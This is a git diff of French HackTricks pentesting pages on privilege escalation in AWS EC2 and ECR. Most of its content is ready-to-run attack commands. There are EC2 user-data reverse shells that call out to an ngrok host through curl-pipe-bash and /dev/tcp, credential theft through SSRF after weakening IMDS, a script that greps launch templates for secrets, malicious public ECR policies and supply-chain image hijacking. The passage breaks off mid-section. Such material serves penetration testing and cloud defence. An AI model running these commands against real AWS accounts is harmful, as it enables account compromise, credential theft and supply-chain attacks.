base64 > "$TEXT_PATH" - -aws ec2 stop-instances --instance-ids $INSTANCE_ID - -aws ec2 modify-instance-attribute \ ---instance-id="$INSTANCE_ID" \ ---attribute userData \ ---value file://$TEXT_PATH - -aws ec2 start-instances --instance-ids $INSTANCE_ID -``` -**Impact potentiel :** Privesc direct à tout rôle IAM EC2 attaché à une instance créée. - -### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate` - -Un attaquant avec les permissions **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` et `ec2:ModifyLaunchTemplate`** peut créer une **nouvelle version de modèle de lancement** avec un **rev shell dans** les **données utilisateur** et **tout rôle IAM EC2 dessus**, changer la version par défaut, et **tout groupe Autoscaler** **utilisant** ce **modèle de lancement** qui est **configuré** pour utiliser la **dernière** ou la **version par défaut** va **relancer les instances** en utilisant ce modèle et exécutera le rev shell. -```bash -REV=$(printf '#!/bin/bash -curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash -' | base64) - -aws ec2 create-launch-template-version \ ---launch-template-name bad_template \ ---launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}" - -aws ec2 modify-launch-template \ ---launch-template-name bad_template \ ---default-version 2 -``` -**Impact potentiel :** Privesc direct vers un rôle EC2 différent. - -### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole` - -Un attaquant avec les permissions **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** peut **créer une configuration de lancement** avec un **rôle IAM** et un **rev shell** à l'intérieur des **données utilisateur**, puis **créer un groupe d'autoscaling** à partir de cette configuration et attendre que le rev shell **vole le rôle IAM**. -```bash -aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \ ---launch-configuration-name bad_config \ ---image-id ami-0c1bc246476a5572b \ ---instance-type t3.micro \ ---iam-instance-profile EC2-CloudWatch-Agent-Role \ ---user-data "$REV" - -aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \ ---auto-scaling-group-name bad_auto \ ---min-size 1 --max-size 1 \ ---launch-configuration-name bad_config \ ---desired-capacity 1 \ ---vpc-zone-identifier "subnet-e282f9b8" -``` -**Impact potentiel :** Privesc direct vers un rôle EC2 différent. - -### `!autoscaling` - -L'ensemble des permissions **`ec2:CreateLaunchTemplate`** et **`autoscaling:CreateAutoScalingGroup`** **n'est pas suffisant pour escalader** les privilèges vers un rôle IAM car pour attacher le rôle spécifié dans la Configuration de Lancement ou dans le Modèle de Lancement **vous avez besoin des permissions `iam:PassRole` et `ec2:RunInstances`** (ce qui est un privesc connu). - -### `ec2-instance-connect:SendSSHPublicKey` - -Un attaquant avec la permission **`ec2-instance-connect:SendSSHPublicKey`** peut ajouter une clé ssh à un utilisateur et l'utiliser pour y accéder (s'il a un accès ssh à l'instance) ou pour escalader les privilèges. -```bash -aws ec2-instance-connect send-ssh-public-key \ ---instance-id "$INSTANCE_ID" \ ---instance-os-user "ec2-user" \ ---ssh-public-key "file://$PUBK_PATH" -``` -**Impact potentiel :** Privesc direct aux rôles IAM EC2 attachés aux instances en cours d'exécution. - -### `ec2-instance-connect:SendSerialConsoleSSHPublicKey` - -Un attaquant ayant la permission **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** peut **ajouter une clé ssh à une connexion série**. Si la série n'est pas activée, l'attaquant a besoin de la permission **`ec2:EnableSerialConsoleAccess` pour l'activer**. - -Pour se connecter au port série, vous devez également **connaître le nom d'utilisateur et le mot de passe d'un utilisateur** à l'intérieur de la machine. -```bash -aws ec2 enable-serial-console-access - -aws ec2-instance-connect send-serial-console-ssh-public-key \ ---instance-id "$INSTANCE_ID" \ ---serial-port 0 \ ---region "eu-west-1" \ ---ssh-public-key "file://$PUBK_PATH" - -ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws -``` -Cette méthode n'est pas très utile pour le privesc car vous devez connaître un nom d'utilisateur et un mot de passe pour l'exploiter. - -**Impact potentiel :** (Hautement invérifiable) Privesc direct vers les rôles IAM EC2 attachés aux instances en cours d'exécution. - -### `describe-launch-templates`,`describe-launch-template-versions` - -Étant donné que les modèles de lancement ont une version, un attaquant avec les permissions **`ec2:describe-launch-templates`** et **`ec2:describe-launch-template-versions`** pourrait les exploiter pour découvrir des informations sensibles, telles que des identifiants présents dans les données utilisateur. Pour ce faire, le script suivant parcourt toutes les versions des modèles de lancement disponibles : -```bash -for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId') -do -echo "[*] Analyzing $i" -aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata -do -echo "VersionNumber: $version" -echo "$userdata" | base64 -d -echo -done | grep -iE "aws_|password|token|api" -done -``` -Dans les commandes ci-dessus, bien que nous spécifions certains motifs (`aws_|password|token|api`), vous pouvez utiliser une regex différente pour rechercher d'autres types d'informations sensibles. - -En supposant que nous trouvions `aws_access_key_id` et `aws_secret_access_key`, nous pouvons utiliser ces identifiants pour nous authentifier auprès d'AWS. - -**Impact potentiel :** Escalade de privilèges directe vers l'utilisateur IAM. - -## Références - -- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md new file mode 100644 index 000000000..e6299cb61 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md @@ -0,0 +1,300 @@ +# AWS - EC2 Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## EC2 + +Pour plus d'**info sur EC2**, consultez : + +{{#ref}} +../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ +{{#endref}} + +### `iam:PassRole`, `ec2:RunInstances` + +Un attaquant pourrait **créer une instance en lui attachant un IAM role puis accéder à l'instance** pour voler les identifiants du IAM role depuis le point de terminaison des métadonnées. + +- **Accès via SSH** + +Lancez une nouvelle instance en utilisant une **créée** **ssh key** (`--key-name`) puis connectez‑vous en SSH (si vous voulez en créer une nouvelle, vous aurez peut‑être besoin de la permission `ec2:CreateKeyPair`). +```bash +aws ec2 run-instances --image-id --instance-type t2.micro \ +--iam-instance-profile Name= --key-name \ +--security-group-ids +``` +- **Accès via rev shell dans user data** + +Vous pouvez lancer une nouvelle instance en utilisant un **user data** (`--user-data`) qui vous enverra un **rev shell**. Vous n'avez pas besoin de spécifier un security group de cette façon. +```bash +echo '#!/bin/bash +curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh + +aws ec2 run-instances --image-id --instance-type t2.micro \ +--iam-instance-profile Name= \ +--count 1 \ +--user-data "file:///tmp/rev.sh" +``` +Faites attention avec GuradDuty si vous utilisez les identifiants du rôle IAM en dehors de l'instance : + +{{#ref}} +../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md +{{#endref}} + +**Impact potentiel :** Privesc direct vers n'importe quel rôle EC2 attaché aux instance profiles existants. + +#### Privesc vers ECS + +Avec cet ensemble de permissions, vous pouvez aussi **créer une EC2 instance et l'enregistrer dans un ECS cluster**. Ainsi, les ECS **services** seront **exécutés** à l'intérieur de l'**EC2 instance** où vous avez accès et vous pourrez ensuite compromettre ces services (docker containers) et **voler leurs ECS roles attachés**. +```bash +aws ec2 run-instances \ +--image-id ami-07fde2ae86109a2af \ +--instance-type t2.micro \ +--iam-instance-profile \ +--count 1 --key-name pwned \ +--user-data "file:///tmp/asd.sh" + +# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs) +# The EC2 instance profile needs basic ECS access +# The content of the user data is: +#!/bin/bash +echo ECS_CLUSTER= >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config; +``` +Pour savoir comment **forcer les services ECS à s'exécuter** dans cette nouvelle instance EC2, consultez : + +{{#ref}} +../aws-ecs-privesc/README.md +{{#endref}} + +Si vous **ne pouvez pas créer une nouvelle instance** mais disposez de la permission `ecs:RegisterContainerInstance`, vous pourriez être en mesure d'enregistrer l'instance dans le cluster et d'exécuter l'attaque décrite. + +**Impact potentiel :** Privesc direct vers ECS roles attachés aux tasks. + +### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`** + +Comme dans le scénario précédent, un attaquant disposant de ces permissions pourrait **changer le IAM role d'une instance compromise** afin de pouvoir voler de nouvelles credentials.\ +Comme un instance profile ne peut avoir qu'un seul role, si l'instance profile **a déjà un role** (cas fréquent), vous aurez aussi besoin de **`iam:RemoveRoleFromInstanceProfile`**. +```bash +# Removing role from instance profile +aws iam remove-role-from-instance-profile --instance-profile-name --role-name + +# Add role to instance profile +aws iam add-role-to-instance-profile --instance-profile-name --role-name +``` +Si le **instance profile a un role** et que l'attaquant **ne peut pas le supprimer**, il existe une autre solution. Il pourrait **trouver** un **instance profile sans role** ou **créer un nouveau** (`iam:CreateInstanceProfile`), **ajouter** le **role** à cet **instance profile** (comme discuté précédemment), et **associer l'instance profile** compromis à une i**nstance** compromise : + +- Si l'instance **n'a aucun instance** profile (`ec2:AssociateIamInstanceProfile`) +```bash +aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id +``` +**Impact potentiel :** Privesc direct vers un autre rôle EC2 (vous devez avoir compromis une instance AWS EC2 et disposer de permissions supplémentaires ou d'un statut spécifique d'instance profile). + +### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`) + +Avec ces permissions, il est possible de changer l'instance profile associée à une instance ; ainsi, si l'attaquant avait déjà accès à une instance, il pourra voler des identifiants pour davantage de rôles d'instance profile en modifiant celui qui lui est associé. + +- Si elle **a un instance profile**, vous pouvez **retirer** l'instance profile (`ec2:DisassociateIamInstanceProfile`) et **l'associer** +```bash +aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da +aws ec2 disassociate-iam-instance-profile --association-id +aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id +``` +- ou **remplacer** le **instance profile** de l'instance compromise (`ec2:ReplaceIamInstanceProfileAssociation`). +```bash +aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id +``` +**Impact potentiel :** Direct privesc vers un autre rôle EC2 (vous devez avoir compromis une instance AWS EC2 et disposer d'une permission supplémentaire ou d'un statut d'instance profile spécifique). + +### `ec2:RequestSpotInstances`,`iam:PassRole` + +Un attaquant disposant des permissions **`ec2:RequestSpotInstances`and`iam:PassRole`** peut **request** une **Spot Instance** avec un **EC2 Role attached** et un **rev shell** dans les **user data**.\ +Une fois que l'instance est lancée, il peut **steal the IAM role**. +```bash +REV=$(printf '#!/bin/bash +curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash +' | base64) + +aws ec2 request-spot-instances \ +--instance-count 1 \ +--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}" +``` +### `ec2:ModifyInstanceAttribute` + +Un attaquant disposant du **`ec2:ModifyInstanceAttribute`** peut modifier les attributs de l'instance. Parmi eux, il peut **changer le user data**, ce qui implique qu'il peut faire exécuter à l'instance des **données arbitraires.** Ce qui peut être utilisé pour obtenir une **rev shell sur l'instance EC2**. + +À noter que les attributs ne peuvent être **modifiés que lorsque l'instance est arrêtée**, donc les **permissions** **`ec2:StopInstances`** et **`ec2:StartInstances`** sont nécessaires. +```bash +TEXT='Content-Type: multipart/mixed; boundary="//" +MIME-Version: 1.0 + +--// +Content-Type: text/cloud-config; charset="us-ascii" +MIME-Version: 1.0 +Content-Transfer-Encoding: 7bit +Content-Disposition: attachment; filename="cloud-config.txt" + +#cloud-config +cloud_final_modules: +- [scripts-user, always] + +--// +Content-Type: text/x-shellscript; charset="us-ascii" +MIME-Version: 1.0 +Content-Transfer-Encoding: 7bit +Content-Disposition: attachment; filename="userdata.txt" + +#!/bin/bash +bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1 +--//' +TEXT_PATH="/tmp/text.b64.txt" + +printf $TEXT | base64 > "$TEXT_PATH" + +aws ec2 stop-instances --instance-ids $INSTANCE_ID + +aws ec2 modify-instance-attribute \ +--instance-id="$INSTANCE_ID" \ +--attribute userData \ +--value file://$TEXT_PATH + +aws ec2 start-instances --instance-ids $INSTANCE_ID +``` +**Impact potentiel :** privesc direct vers tout EC2 IAM Role attaché à une instance créée. + +### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate` + +Un attaquant disposant des permissions **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** peut créer une **nouvelle version de Launch Template** avec une **rev shell dans** les **user data** et **tout EC2 IAM Role dessus**, modifier la version par défaut, et **tout Autoscaler group** **utilisant** ce **Launch Templat**e qui est **configuré** pour utiliser la **latest** ou la **default version** relancera les **instances** en utilisant ce template et exécutera la rev shell. +```bash +REV=$(printf '#!/bin/bash +curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash +' | base64) + +aws ec2 create-launch-template-version \ +--launch-template-name bad_template \ +--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}" + +aws ec2 modify-launch-template \ +--launch-template-name bad_template \ +--default-version 2 +``` +**Impact potentiel :** privesc direct vers un autre EC2 role. + +### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`), `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`) + +Un attaquant disposant des permissions **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** peut **créer une Launch Configuration** avec un **IAM Role** et une **rev shell** dans le **user data**, puis **créer un autoscaling group** à partir de cette config et attendre que la rev shell **vole le IAM Role**. +```bash +aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \ +--launch-configuration-name bad_config \ +--image-id ami-0c1bc246476a5572b \ +--instance-type t3.micro \ +--iam-instance-profile EC2-CloudWatch-Agent-Role \ +--user-data "$REV" + +aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \ +--auto-scaling-group-name bad_auto \ +--min-size 1 --max-size 1 \ +--launch-configuration-name bad_config \ +--desired-capacity 1 \ +--vpc-zone-identifier "subnet-e282f9b8" +``` +**Impact potentiel :** privesc direct vers un autre EC2 role. + +### `!autoscaling` + +L'ensemble des permissions **`ec2:CreateLaunchTemplate`** et **`autoscaling:CreateAutoScalingGroup`** **ne suffisent pas à escalader** les privilèges vers un IAM role car, pour attacher le rôle spécifié dans la Launch Configuration ou dans le Launch Template, **il faut les permissions `iam:PassRole` et `ec2:RunInstances`** (ce qui est une privesc connue). + +### `ec2-instance-connect:SendSSHPublicKey` + +Un attaquant disposant de la permission **`ec2-instance-connect:SendSSHPublicKey`** peut ajouter une clé ssh à un utilisateur et l'utiliser pour y accéder (s'il dispose d'un accès ssh à l'instance) ou pour escalader les privilèges. +```bash +aws ec2-instance-connect send-ssh-public-key \ +--instance-id "$INSTANCE_ID" \ +--instance-os-user "ec2-user" \ +--ssh-public-key "file://$PUBK_PATH" +``` +**Impact potentiel :** Privesc direct vers les EC2 IAM roles attachées aux instances en cours d'exécution. + +### `ec2-instance-connect:SendSerialConsoleSSHPublicKey` + +Un attaquant disposant de la permission **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** peut **ajouter une clé ssh à une connexion série**. Si la console série n'est pas activée, l'attaquant a besoin de la permission **`ec2:EnableSerialConsoleAccess` pour l'activer**. + +Pour se connecter au port série, il faut aussi **connaître le nom d'utilisateur et le mot de passe d'un utilisateur** à l'intérieur de la machine. +```bash +aws ec2 enable-serial-console-access + +aws ec2-instance-connect send-serial-console-ssh-public-key \ +--instance-id "$INSTANCE_ID" \ +--serial-port 0 \ +--region "eu-west-1" \ +--ssh-public-key "file://$PUBK_PATH" + +ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws +``` +Cette méthode n'est pas très utile pour le privesc car il faut connaître un nom d'utilisateur et un mot de passe pour l'exploiter. + +**Potential Impact:** (Fortement invérifiable) Privesc direct vers les EC2 IAM roles attachés aux instances en cours d'exécution. + +### `describe-launch-templates`,`describe-launch-template-versions` + +Comme les launch templates possèdent des versions, un attaquant disposant des permissions **`ec2:describe-launch-templates`** et **`ec2:describe-launch-template-versions`** pourrait les exploiter pour découvrir des informations sensibles, telles que des identifiants présents dans les user data. Pour ce faire, le script suivant parcourt toutes les versions des launch templates disponibles : +```bash +for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId') +do +echo "[*] Analyzing $i" +aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata +do +echo "VersionNumber: $version" +echo "$userdata" | base64 -d +echo +done | grep -iE "aws_|password|token|api" +done +``` +Dans les commandes ci‑dessus, bien que nous spécifiions certains motifs (`aws_|password|token|api`), vous pouvez utiliser une autre regex pour rechercher d'autres types d'informations sensibles. + +Si nous trouvons `aws_access_key_id` et `aws_secret_access_key`, nous pouvons utiliser ces identifiants pour nous authentifier auprès d'AWS. + +**Impact potentiel :** Escalade de privilèges directe vers un ou plusieurs utilisateurs IAM. + +## Références + +- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) + +{{#include ../../../../banners/hacktricks-training.md}} + + + + +### `ec2:ModifyInstanceMetadataOptions` (abaissement d'IMDS pour permettre le vol d'identifiants via SSRF) + +Un attaquant capable d'appeler `ec2:ModifyInstanceMetadataOptions` sur une instance EC2 victime peut affaiblir les protections IMDS en activant IMDSv1 (`HttpTokens=optional`) et en augmentant le `HttpPutResponseHopLimit`. Cela rend le endpoint des metadata d'instance accessible via des chemins SSRF/proxy courants depuis des applications s'exécutant sur l'instance. Si l'attaquant peut déclencher une SSRF dans une telle application, il peut récupérer les identifiants de l'instance profile et pivoter avec eux. + +- Permissions requises : `ec2:ModifyInstanceMetadataOptions` sur l'instance cible (plus la capacité à atteindre/déclencher une SSRF sur l'hôte). +- Ressource cible : l'instance EC2 en cours d'exécution avec un instance profile attaché (IAM role). + +Exemple de commandes : +```bash +# 1) Check current metadata settings +aws ec2 describe-instances --instance-id \ +--query 'Reservations[0].Instances[0].MetadataOptions' + +# 2) Downgrade IMDS protections (enable IMDSv1 and raise hop limit) +aws ec2 modify-instance-metadata-options --instance-id \ +--http-endpoint enabled --http-tokens optional \ +--http-put-response-hop-limit 3 --instance-metadata-tags enabled + +# 3) Through the SSRF, enumerate role name +curl "http://:/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" + +# 4) Through the SSRF, steal the temporary credentials +curl "http://:/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" + +# 5) Use the stolen credentials +export AWS_ACCESS_KEY_ID= +export AWS_SECRET_ACCESS_KEY= +export AWS_SESSION_TOKEN= +aws sts get-caller-identity + +# 6) Restore protections (require IMDSv2, low hop limit) +aws ec2 modify-instance-metadata-options --instance-id \ +--http-tokens required --http-put-response-hop-limit 1 +``` +Impact potentiel : Vol des identifiants d'instance profile via SSRF entraînant privilege escalation et lateral movement avec les permissions du rôle EC2. diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md deleted file mode 100644 index 92e45765d..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md +++ /dev/null @@ -1,100 +0,0 @@ -# AWS - ECR Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## ECR - -### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage` - -Un attaquant avec le **`ecr:GetAuthorizationToken`** et **`ecr:BatchGetImage`** peut se connecter à ECR et télécharger des images. - -Pour plus d'infos sur comment télécharger des images : - -{{#ref}} -../aws-post-exploitation/aws-ecr-post-exploitation.md -{{#endref}} - -**Impact potentiel :** Privesc indirect en interceptant des informations sensibles dans le trafic. - -### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart` - -Un attaquant avec toutes ces permissions **peut se connecter à ECR et télécharger des images**. Cela peut être utile pour élever les privilèges vers d'autres environnements où ces images sont utilisées. - -Pour apprendre comment télécharger une nouvelle image/mette à jour une, consultez : - -{{#ref}} -../aws-services/aws-eks-enum.md -{{#endref}} - -### `ecr-public:GetAuthorizationToken`, `ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload`, `ecr-public:InitiateLayerUpload, ecr-public:PutImage`, `ecr-public:UploadLayerPart` - -Comme la section précédente, mais pour les dépôts publics. - -### `ecr:SetRepositoryPolicy` - -Un attaquant avec cette permission pourrait **changer** la **politique** du **dépôt** pour se donner (ou même à tout le monde) **un accès en lecture/écriture**.\ -Par exemple, dans cet exemple, l'accès en lecture est accordé à tout le monde. -```bash -aws ecr set-repository-policy \ ---repository-name \ ---policy-text file://my-policy.json -``` -Contenu de `my-policy.json` : -```json -{ -"Version": "2008-10-17", -"Statement": [ -{ -"Sid": "allow public pull", -"Effect": "Allow", -"Principal": "*", -"Action": [ -"ecr:BatchCheckLayerAvailability", -"ecr:BatchGetImage", -"ecr:GetDownloadUrlForLayer" -] -} -] -} -``` -### `ecr-public:SetRepositoryPolicy` - -Comme la section précédente, mais pour les dépôts publics.\ -Un attaquant peut **modifier la politique du dépôt** d'un dépôt ECR Public pour accorder un accès public non autorisé ou pour élever ses privilèges. -```bash -bashCopy code# Create a JSON file with the malicious public repository policy -echo '{ -"Version": "2008-10-17", -"Statement": [ -{ -"Sid": "MaliciousPublicRepoPolicy", -"Effect": "Allow", -"Principal": "*", -"Action": [ -"ecr-public:GetDownloadUrlForLayer", -"ecr-public:BatchGetImage", -"ecr-public:BatchCheckLayerAvailability", -"ecr-public:PutImage", -"ecr-public:InitiateLayerUpload", -"ecr-public:UploadLayerPart", -"ecr-public:CompleteLayerUpload", -"ecr-public:DeleteRepositoryPolicy" -] -} -] -}' > malicious_public_repo_policy.json - -# Apply the malicious public repository policy to the ECR Public repository -aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json -``` -**Impact potentiel** : Accès public non autorisé au dépôt ECR Public, permettant à tout utilisateur de pousser, tirer ou supprimer des images. - -### `ecr:PutRegistryPolicy` - -Un attaquant avec cette permission pourrait **changer** la **politique de registre** pour se donner, à son compte (ou même à tout le monde) un **accès en lecture/écriture**. -```bash -aws ecr set-repository-policy \ ---repository-name \ ---policy-text file://my-policy.json -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md new file mode 100644 index 000000000..b8c618824 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md @@ -0,0 +1,268 @@ +# AWS - ECR Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## ECR + +### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage` + +Un attaquant disposant de **`ecr:GetAuthorizationToken`** et **`ecr:BatchGetImage`** peut se connecter à ECR et télécharger des images. + +Pour plus d'informations sur la façon de télécharger des images : + +{{#ref}} +../../aws-post-exploitation/aws-ecr-post-exploitation/README.md +{{#endref}} + +**Impact potentiel :** privesc indirect en interceptant des informations sensibles dans le trafic. + +### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart` + +Un attaquant disposant de toutes ces permissions **peut se connecter à ECR et téléverser des images**. Cela peut être utile pour escalader des privilèges vers d'autres environnements où ces images sont utilisées. + +Pour apprendre comment téléverser une nouvelle image/mettre à jour une existante, consultez : + +{{#ref}} +../../aws-services/aws-eks-enum.md +{{#endref}} + +### `ecr-public:GetAuthorizationToken`, `ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload`, `ecr-public:InitiateLayerUpload, ecr-public:PutImage`, `ecr-public:UploadLayerPart` + +Comme la section précédente, mais pour les dépôts publics. + +### `ecr:SetRepositoryPolicy` + +Un attaquant disposant de cette permission pourrait **modifier la politique du dépôt** pour s'accorder (ou même accorder à tout le monde) **un accès lecture/écriture**.\ +Par exemple, dans cet exemple l'accès en lecture est accordé à tout le monde. +```bash +aws ecr set-repository-policy \ +--repository-name \ +--policy-text file://my-policy.json +``` +Contenu de `my-policy.json`: +```json +{ +"Version": "2008-10-17", +"Statement": [ +{ +"Sid": "allow public pull", +"Effect": "Allow", +"Principal": "*", +"Action": [ +"ecr:BatchCheckLayerAvailability", +"ecr:BatchGetImage", +"ecr:GetDownloadUrlForLayer" +] +} +] +} +``` +### `ecr-public:SetRepositoryPolicy` + +Comme la section précédente, mais pour les repositories publics.\ +Un attaquant peut **modify the repository policy** d'un ECR Public repository pour accorder un accès public non autorisé ou pour escalader ses privilèges. +```bash +# Create a JSON file with the malicious public repository policy +echo '{ +"Version": "2008-10-17", +"Statement": [ +{ +"Sid": "MaliciousPublicRepoPolicy", +"Effect": "Allow", +"Principal": "*", +"Action": [ +"ecr-public:GetDownloadUrlForLayer", +"ecr-public:BatchGetImage", +"ecr-public:BatchCheckLayerAvailability", +"ecr-public:PutImage", +"ecr-public:InitiateLayerUpload", +"ecr-public:UploadLayerPart", +"ecr-public:CompleteLayerUpload", +"ecr-public:DeleteRepositoryPolicy" +] +} +] +}' > malicious_public_repo_policy.json + +# Apply the malicious public repository policy to the ECR Public repository +aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json +``` +**Impact potentiel** : Accès public non autorisé au dépôt ECR Public, permettant à n'importe quel utilisateur de push, pull ou delete des images. + +### `ecr:PutRegistryPolicy` + +Un attaquant disposant de cette autorisation pourrait **modifier** la **politique du registre** pour s'accorder, à lui-même, à son compte (ou même à tout le monde), un **accès en lecture/écriture**. +```bash +aws ecr set-repository-policy \ +--repository-name \ +--policy-text file://my-policy.json +``` +{{#include ../../../../banners/hacktricks-training.md}} + + + + + +### ecr:CreatePullThroughCacheRule + +Abuse ECR Pull Through Cache (PTC) rules to map an attacker-controlled upstream namespace to a trusted private ECR prefix. This makes workloads pulling from the private ECR transparently receive attacker images without any push to private ECR. + +- Permissions requises : ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. Si vous utilisez un upstream ECR Public : ecr-public:* pour créer/pusher dans le repo public. +- Upstream testé : public.ecr.aws + +Étapes (exemple) : + +1. Préparer une image contrôlée par l'attaquant dans ECR Public +# Get your ECR Public alias with: aws ecr-public describe-registries --region us-east-1 +docker login public.ecr.aws/ +docker build -t public.ecr.aws//hacktricks-ptc-demo:ptc-test . +docker push public.ecr.aws//hacktricks-ptc-demo:ptc-test + +2. Créer la règle PTC dans l'ECR privé pour mapper un préfixe de confiance vers le registre public +aws ecr create-pull-through-cache-rule --region us-east-2 --ecr-repository-prefix ptc --upstream-registry-url public.ecr.aws + +3. Récupérer (pull) l'image de l'attaquant via le chemin ECR privé (aucun push vers l'ECR privé n'a été effectué) +docker login .dkr.ecr.us-east-2.amazonaws.com +docker pull .dkr.ecr.us-east-2.amazonaws.com/ptc//hacktricks-ptc-demo:ptc-test +docker run --rm .dkr.ecr.us-east-2.amazonaws.com/ptc//hacktricks-ptc-demo:ptc-test + +Impact potentiel : compromission de la chaîne d'approvisionnement en détournant des noms d'images internes sous le préfixe choisi. Toute charge de travail tirant des images depuis l'ECR privé utilisant ce préfixe recevra du contenu contrôlé par l'attaquant. + +### `ecr:PutImageTagMutability` + +Abuse this permission to flip a repository with tag immutability to mutable and overwrite trusted tags (e.g., latest, stable, prod) with attacker-controlled content. + +- Permissions requises : `ecr:PutImageTagMutability` plus les capacités de push (`ecr:GetAuthorizationToken`, `ecr:InitiateLayerUpload`, `ecr:UploadLayerPart`, `ecr:CompleteLayerUpload`, `ecr:PutImage`). +- Impact : compromission de la chaîne d'approvisionnement en remplaçant silencieusement des tags immutables sans changer leurs noms. + +Étapes (exemple) : + +
